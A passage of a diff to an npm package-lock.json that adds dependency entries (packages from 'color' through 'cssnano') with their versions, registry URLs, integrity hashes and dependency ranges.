"node_modules/color": { + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/color/-/color-0.11.4.tgz", + "integrity": "sha1-bXtcdPtl6EHNSHkq0e1eB7kE12Q=", + "dev": true, + "dependencies": { + "clone": "^1.0.2", + "color-convert": "^1.3.0", + "color-string": "^0.3.0" + } + }, + "node_modules/color-convert": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-0.5.3.tgz", + "integrity": "sha1-vbbGnOZg+t/+CwAHzER+G59ygr0=" + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" + }, + "node_modules/color-string": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-0.3.0.tgz", + "integrity": "sha1-J9RvtnAlxcL6JZk7+/V55HhBuZE=", + "dev": true, + "dependencies": { + "color-name": "^1.0.0" + } + }, + "node_modules/color/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/color/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/colorette": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.4.0.tgz", + "integrity": "sha512-Y2oEozpomLn7Q3HFP7dpww7AtMJplbM9lGZP6RDfHqmbeRjiwRg4n6VM6j4KLmRke85uWEI7JqF17f3pqdRA0g==", + "peer": true + }, + "node_modules/colormin": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/colormin/-/colormin-1.1.2.tgz", + "integrity": "sha1-6i90IKcrlogaOKrlnsEkpvcpgTM=", + "dev": true, + "dependencies": { + "color": "^0.11.0", + "css-color-names": "0.0.4", + "has": "^1.0.1" + } + }, + "node_modules/colors": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.1.2.tgz", + "integrity": "sha1-FopHAXVran9RoSzgyXv6KMCE7WM=", + "dev": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/combine-source-map": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/combine-source-map/-/combine-source-map-0.8.0.tgz", + "integrity": "sha1-pY0N8ELBhvz4IqjoAV9UUNLXmos=", + "dev": true, + "dependencies": { + "convert-source-map": "~1.1.0", + "inline-source-map": "~0.6.0", + "lodash.memoize": "~3.0.3", + "source-map": "~0.5.3" + } + }, + "node_modules/combined-stream": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", + "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", + "dev": true, + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/command-exists": { + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/command-exists/-/command-exists-1.2.9.tgz", + "integrity": "sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==", + "peer": true + }, + "node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=" + }, + "node_modules/component-emitter": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", + "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=" + }, + "node_modules/compress-commons": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-1.2.2.tgz", + "integrity": "sha1-UkqfEJA/OoEzibAiXSfEi7dRiQ8=", + "dev": true, + "dependencies": { + "buffer-crc32": "^0.2.1", + "crc32-stream": "^2.0.0", + "normalize-path": "^2.0.0", + "readable-stream": "^2.0.0" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/compress-commons/node_modules/crc32-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-2.0.0.tgz", + "integrity": "sha1-483TtN8xaN10494/u8t7KX/pCPQ=", + "dev": true, + "dependencies": { + "crc": "^3.4.4", + "readable-stream": "^2.0.0" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "peer": true, + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "peer": true, + "dependencies": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==", + "peer": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" + }, + "node_modules/concat-stream": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.5.2.tgz", + "integrity": "sha1-cIl4Yk2FavQaWnQd790mHadSwmY=", + "dev": true, + "engines": [ + "node >= 0.8" + ], + "dependencies": { + "inherits": "~2.0.1", + "readable-stream": "~2.0.0", + "typedarray": "~0.0.5" + } + }, + "node_modules/concat-stream/node_modules/readable-stream": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.0.6.tgz", + "integrity": "sha1-j5A0HmilPMySh4jaz80Rs265t44=", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "~1.0.0", + "process-nextick-args": "~1.0.6", + "string_decoder": "~0.10.x", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/config-chain": { + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.13.tgz", + "integrity": "sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ==", + "dev": true, + "dependencies": { + "ini": "^1.3.4", + "proto-list": "~1.2.1" + } + }, + "node_modules/connect": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/connect/-/connect-3.7.0.tgz", + "integrity": "sha512-ZqRXc+tZukToSNmh5C2iWMSoV3X1YUcPbqEM4DkEG5tNQXrQUZCNVGGv3IuicnkMtPfGf3Xtp8WCXs295iQ1pQ==", + "peer": true, + "dependencies": { + "debug": "2.6.9", + "finalhandler": "1.1.2", + "parseurl": "~1.3.3", + "utils-merge": "1.0.1" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/console-browserify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/console-browserify/-/console-browserify-1.1.0.tgz", + "integrity": "sha1-8CQcRXMKn8YyOyBtvzjtx0HQuxA=", + "dev": true, + "dependencies": { + "date-now": "^0.1.4" + } + }, + "node_modules/console-control-strings": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", + "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", + "dev": true + }, + "node_modules/consolidate": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/consolidate/-/consolidate-0.14.5.tgz", + "integrity": "sha1-WiUEe8dvcwcmZ8jLUsmJiI9JTGM=", + "dev": true, + "dependencies": { + "bluebird": "^3.1.1" + } + }, + "node_modules/constantinople": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/constantinople/-/constantinople-4.0.1.tgz", + "integrity": "sha512-vCrqcSIq4//Gx74TXXCGnHpulY1dskqLTFGDmhrGxzeXL8lF8kvXv6mpNWlJj1uD4DW23D4ljAqbY4RRaaUZIw==", + "dev": true, + "dependencies": { + "@babel/parser": "^7.6.0", + "@babel/types": "^7.6.1" + } + }, + "node_modules/constants-browserify": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz", + "integrity": "sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=", + "dev": true + }, + "node_modules/continuable-cache": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/continuable-cache/-/continuable-cache-0.3.1.tgz", + "integrity": "sha1-vXJ6f67XfnH/OYWskzUakSczrQ8=", + "dev": true + }, + "node_modules/convert-source-map": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.1.3.tgz", + "integrity": "sha1-SCnId+n+SbMWHzvzZziI4gRpmGA=", + "dev": true + }, + "node_modules/copy-concurrently": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/copy-concurrently/-/copy-concurrently-1.0.5.tgz", + "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", + "dev": true, + "dependencies": { + "aproba": "^1.1.1", + "fs-write-stream-atomic": "^1.0.8", + "iferr": "^0.1.5", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.0" + } + }, + "node_modules/copy-descriptor": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", + "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/core-js": { + "version": "2.5.7", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.7.tgz", + "integrity": "sha512-RszJCAxg/PP6uzXVXL6BsxSXx/B05oJAQ2vkJRjyjrEcNVycaqOmNb5OTxZPE3xa5gwZduqza6L9JOCenh/Ecw==", + "deprecated": "core-js@<3.23.3 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Some versions have web compatibility issues. Please, upgrade your dependencies to the actual version of core-js." + }, + "node_modules/core-js-compat": { + "version": "3.29.0", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.29.0.tgz", + "integrity": "sha512-ScMn3uZNAFhK2DGoEfErguoiAHhV2Ju+oJo/jK08p7B3f3UhocUrCCkTvnZaiS+edl5nlIoiBXKcwMc6elv4KQ==", + "dependencies": { + "browserslist": "^4.21.5" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/core-js" + } + }, + "node_modules/core-js-compat/node_modules/browserslist": { + "version": "4.21.5", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.5.tgz", + "integrity": "sha512-tUkiguQGW7S3IhB7N+c2MV/HZPSCPAAiYBZXLsBhFB/PCy6ZKKsZrmBayHV9fdGV/ARIfJ14NkxKzRDjvp7L6w==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001449", + "electron-to-chromium": "^1.4.284", + "node-releases": "^2.0.8", + "update-browserslist-db": "^1.0.10" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/core-js-compat/node_modules/node-releases": { + "version": "2.0.10", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.10.tgz", + "integrity": "sha512-5GFldHPXVG/YZmFzJvKK2zDSzPKhEp0+ZR5SVaoSag9fsL5YgHbUHDfnG5494ISANDcK4KwPXAx2xqVEydmd7w==" + }, + "node_modules/core-js-compat/node_modules/update-browserslist-db": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz", + "integrity": "sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "browserslist-lint": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + }, + "node_modules/cosmiconfig": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-2.2.2.tgz", + "integrity": "sha1-YXPOvVb6wELB9DkO33r2wHx8uJI=", + "dev": true, + "dependencies": { + "is-directory": "^0.3.1", + "js-yaml": "^3.4.3", + "minimist": "^1.2.0", + "object-assign": "^4.1.0", + "os-homedir": "^1.0.1", + "parse-json": "^2.2.0", + "require-from-string": "^1.1.0" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/crc": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/crc/-/crc-3.5.0.tgz", + "integrity": "sha1-mLi6fUiWZbo5efWbITgTdBAaGWQ=", + "dev": true + }, + "node_modules/crc32-stream": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-3.0.1.tgz", + "integrity": "sha512-mctvpXlbzsvK+6z8kJwSJ5crm7yBwrQMTybJzMw1O4lLGJqjlDCXY2Zw7KheiA6XBEcBmfLx1D88mjRGVJtY9w==", + "dev": true, + "dependencies": { + "crc": "^3.4.4", + "readable-stream": "^3.4.0" + }, + "engines": { + "node": ">= 6.9.0" + } + }, + "node_modules/crc32-stream/node_modules/readable-stream": { + "version": "3.6.1", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.1.tgz", + "integrity": "sha512-+rQmrWMYGA90yenhTYsLWAsLsqVC8osOw6PKE1HDYiO0gdPeKe/xDHNzIAIn4C91YQ6oenEhfYqqc1883qHbjQ==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/crc32-stream/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/crc32-stream/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/create-ecdh": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.0.tgz", + "integrity": "sha1-iIxyNZbN92EvZJgjPuvXo1MBc30=", + "dev": true, + "dependencies": { + "bn.js": "^4.1.0", + "elliptic": "^6.0.0" + } + }, + "node_modules/create-hash": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.1.3.tgz", + "integrity": "sha1-YGBCrIuSYnUPSDyt2rD1gZFy2P0=", + "dev": true, + "dependencies": { + "cipher-base": "^1.0.1", + "inherits": "^2.0.1", + "ripemd160": "^2.0.0", + "sha.js": "^2.4.0" + } + }, + "node_modules/create-hmac": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.6.tgz", + "integrity": "sha1-rLniIaThe9sHbpBlfEK5PjcmzwY=", + "dev": true, + "dependencies": { + "cipher-base": "^1.0.3", + "create-hash": "^1.1.0", + "inherits": "^2.0.1", + "ripemd160": "^2.0.0", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" + } + }, + "node_modules/create-react-class": { + "version": "15.6.3", + "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.3.tgz", + "integrity": "sha512-M+/3Q6E6DLO6Yx3OwrWjwHBnvfXXYA7W+dFjt/ZDBemHO1DDZhsalX/NUtnTYclN6GfnBDRh4qRHjcDHmlJBJg==", + "dependencies": { + "fbjs": "^0.8.9", + "loose-envify": "^1.3.1", + "object-assign": "^4.1.1" + } + }, + "node_modules/cross-env": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/cross-env/-/cross-env-5.2.0.tgz", + "integrity": "sha512-jtdNFfFW1hB7sMhr/H6rW1Z45LFqyI431m3qU6bFXcQ3Eh7LtBuG3h74o7ohHZ3crrRkkqHlo4jYHFPcjroANg==", + "dev": true, + "dependencies": { + "cross-spawn": "^6.0.5", + "is-windows": "^1.0.0" + }, + "bin": { + "cross-env": "dist/bin/cross-env.js", + "cross-env-shell": "dist/bin/cross-env-shell.js" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/cross-env/node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "dev": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/cross-spawn": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", + "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", + "dev": true, + "dependencies": { + "lru-cache": "^4.0.1", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + } + }, + "node_modules/crypt": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", + "integrity": "sha1-iNf/fsDfuG9xPch7u0LQRNPmxBs=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/crypto-browserify": { + "version": "3.11.0", + "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.11.0.tgz", + "integrity": "sha1-NlKgkGq5sqfgw85mpAjpV6JIVSI=", + "dev": true, + "dependencies": { + "browserify-cipher": "^1.0.0", + "browserify-sign": "^4.0.0", + "create-ecdh": "^4.0.0", + "create-hash": "^1.1.0", + "create-hmac": "^1.1.0", + "diffie-hellman": "^5.0.0", + "inherits": "^2.0.1", + "pbkdf2": "^3.0.3", + "public-encrypt": "^4.0.0", + "randombytes": "^2.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/css-color-names": { + "version": "0.0.4", + "resolved": "https://registry.npmjs.org/css-color-names/-/css-color-names-0.0.4.tgz", + "integrity": "sha1-gIrcLnnPhHOAabZGyyDsJ762KeA=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/css-declaration-sorter": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-3.0.1.tgz", + "integrity": "sha512-jH4024SHZ3e0M7ann9VxpFpH3moplRXNz9ZBqvFMZqi09Yo5ARbs2wdPH8GqN9iRTlQynrbGbraNbBxBLei85Q==", + "dev": true, + "dependencies": { + "postcss": "^6.0.0", + "timsort": "^0.3.0" + } + }, + "node_modules/css-declaration-sorter/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/css-declaration-sorter/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/css-declaration-sorter/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/css-declaration-sorter/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/css-declaration-sorter/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/css-declaration-sorter/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/css-declaration-sorter/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/css-declaration-sorter/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/css-loader": { + "version": "0.28.11", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-0.28.11.tgz", + "integrity": "sha512-wovHgjAx8ZIMGSL8pTys7edA1ClmzxHeY6n/d97gg5odgsxEgKjULPR0viqyC+FWMCL9sfqoC/QCUBo62tLvPg==", + "dev": true, + "dependencies": { + "babel-code-frame": "^6.26.0", + "css-selector-tokenizer": "^0.7.0", + "cssnano": "^3.10.0", + "icss-utils": "^2.1.0", + "loader-utils": "^1.0.2", + "lodash.camelcase": "^4.3.0", + "object-assign": "^4.1.1", + "postcss": "^5.0.6", + "postcss-modules-extract-imports": "^1.2.0", + "postcss-modules-local-by-default": "^1.2.0", + "postcss-modules-scope": "^1.1.0", + "postcss-modules-values": "^1.3.0", + "postcss-value-parser": "^3.3.0", + "source-list-map": "^2.0.0" + }, + "engines": { + "node": ">=0.12.0 || >= 4.3.0 < 5.0.0 || >=5.10" + } + }, + "node_modules/css-select": { + "version": "1.3.0-rc0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-1.3.0-rc0.tgz", + "integrity": "sha1-b5MZaqrnN2ZuoQNqjLFKj8t6kjE=", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "2.1", + "domutils": "1.5.1", + "nth-check": "^1.0.1" + } + }, + "node_modules/css-select-base-adapter": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/css-select-base-adapter/-/css-select-base-adapter-0.1.0.tgz", + "integrity": "sha1-AQKz0UYw34bD65+p9UVicBBs+ZA=", + "dev": true + }, + "node_modules/css-selector-tokenizer": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.0.tgz", + "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=", + "dev": true, + "dependencies": { + "cssesc": "^0.1.0", + "fastparse": "^1.1.1", + "regexpu-core": "^1.0.0" + } + }, + "node_modules/css-selector-tokenizer/node_modules/regexpu-core": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-1.0.0.tgz", + "integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=", + "dev": true, + "dependencies": { + "regenerate": "^1.2.1", + "regjsgen": "^0.2.0", + "regjsparser": "^0.1.4" + } + }, + "node_modules/css-to-xpath": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/css-to-xpath/-/css-to-xpath-0.1.0.tgz", + "integrity": "sha1-rA0cJs7wI/e9jPLh/B93E0vHDEc=", + "dev": true, + "dependencies": { + "bo-selector": "0.0.10", + "xpath-builder": "0.0.7" + } + }, + "node_modules/css-tree": { + "version": "1.0.0-alpha25", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha25.tgz", + "integrity": "sha512-XC6xLW/JqIGirnZuUWHXCHRaAjje2b3OIB0Vj5RIJo6mIi/AdJo30quQl5LxUl0gkXDIrTrFGbMlcZjyFplz1A==", + "dev": true, + "dependencies": { + "mdn-data": "^1.0.0", + "source-map": "^0.5.3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/css-unit-converter": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/css-unit-converter/-/css-unit-converter-1.1.1.tgz", + "integrity": "sha1-2bkoGtz9jO2TW9urqDeGiX9k6ZY=", + "dev": true + }, + "node_modules/css-url-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/css-url-regex/-/css-url-regex-1.1.0.tgz", + "integrity": "sha1-g4NCMMyfdMRX3lnuvRVD/uuDt+w=", + "dev": true + }, + "node_modules/css-value": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/css-value/-/css-value-0.0.1.tgz", + "integrity": "sha512-FUV3xaJ63buRLgHrLQVlVgQnQdR4yqdLGaDu7g8CQcWjInDfM9plBTPI9FRfpahju1UBSaMckeb2/46ApS/V1Q==", + "dev": true + }, + "node_modules/css-what": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-2.1.0.tgz", + "integrity": "sha1-lGfQMsOM+u+58teVASUwYvh/ob0=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/cssesc": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-0.1.0.tgz", + "integrity": "sha1-yBSQPkViM3GgR3tAEJqq++6t27Q=", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + } + }, + "node_modules/cssnano": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-3.10.0.tgz", + "integrity": "sha1-Tzj2zqK5sX+gFJDyPx3GjqZcHDg=", 